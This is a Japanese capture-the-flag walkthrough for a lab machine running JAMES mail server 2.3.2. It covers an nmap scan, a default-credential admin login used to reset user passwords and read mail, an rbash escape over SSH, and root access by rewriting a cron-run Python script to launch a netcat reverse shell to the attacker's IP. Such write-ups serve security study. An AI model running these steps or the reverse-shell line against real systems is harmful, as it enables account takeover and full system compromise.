偵察/スキャン
nmapでスキャンします。
┌──(kali㉿kali)-[~] └─$ nmap -P0 -T4 -sC -sV -A -p- 10.10.10.51 Starting Nmap 7.93 ( https://nmap.org ) Nmap scan report for 10.10.10.51 Host is up (0.18s latency). Not shown: 65530 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u1 (protocol 2.0) | ssh-hostkey: | 2048 770084f578b9c7d354cf712e0d526d8b (RSA) | 256 78b83af660190691f553921d3f48ed53 (ECDSA) |_ 256 e445e9ed074d7369435a12709dc4af76 (ED25519) 25/tcp open smtp JAMES smtpd 2.3.2 |_smtp-commands: solidstate Hello nmap.scanme.org (10.10.14.3 [10.10.14.3]) 110/tcp open pop3 JAMES pop3d 2.3.2 119/tcp open nntp JAMES nntpd (posting ok) 4555/tcp open rsip? | fingerprint-strings: | GenericLines: | JAMES Remote Administration Tool 2.3.2 | Please enter your login and password | Login id: | Password: | Login failed for |_ Login id: 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port4555-TCP:V=7.93%I=7%D=1/18%Time=63C757F3%P=x86_64-pc-linux-gnu%r(Ge SF:nericLines,7C,"JAMES\x20Remote\x20Administration\x20Tool\x202\.3\.2\nPl SF:ease\x20enter\x20your\x20login\x20and\x20password\nLogin\x20id:\nPasswo SF:rd:\nLogin\x20failed\x20for\x20\nLogin\x20id:\n"); Service Info: Host: solidstate; OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
TCP/22,25,110,119,4555が開いているようです。
James Server 2.3.2というキーワードで調べるとCVE-2015-7611の情報が見つかりました。TCP/4555のJAMES Remote Administration Toolにroot/rootでアクセスできるようです。
telnetを使用してアクセスするとログインできました。
listusersで確認するといくつかのユーザアカウントが確認できました。
また、setpasswordコマンドを使用することでユーザのパスワードが変更できました。
各ユーザのパスワードを変更し、popでアクセスしてメールチェックをしてみます。
mindyというユーザのみ、メールがありメールを見てみると認証情報がみつかりました。見つけたアカウントでSSH接続するとアクセスできました。
ただし、普通にSSHで接続するとrbash(制限付きbash)であるため、以下のコマンドでアクセスしました。
ssh mindy@10.10.10.51 -t "bash --noprofile"
アクセス取得&特権昇格
上記のコマンドでssh接続後、linpeasおよびpspyを実行してみます。
上記より、/opt/tmp.pyが書き込み可能であること、またcronで定期的にroot権限で実行されていることがわかりました。
※archコマンドより32bitOSであることを確認、32bint版を「./pspy32 -i 1000」等で実行
上記より、/opt/tmp.pyを書き換え、ncを実行させるように変更します。
echo 'import os' > /opt/tmp.py echo 'import sys' >> /opt/tmp.py echo 'os.system("/bin/nc 10.10.14.3 4444 -e /bin/bash")' >> /opt/tmp.py
ncで待ち受けているとrootが取得できました。
参考にさせていただいたサイト
貴重な情報をありがとうございます。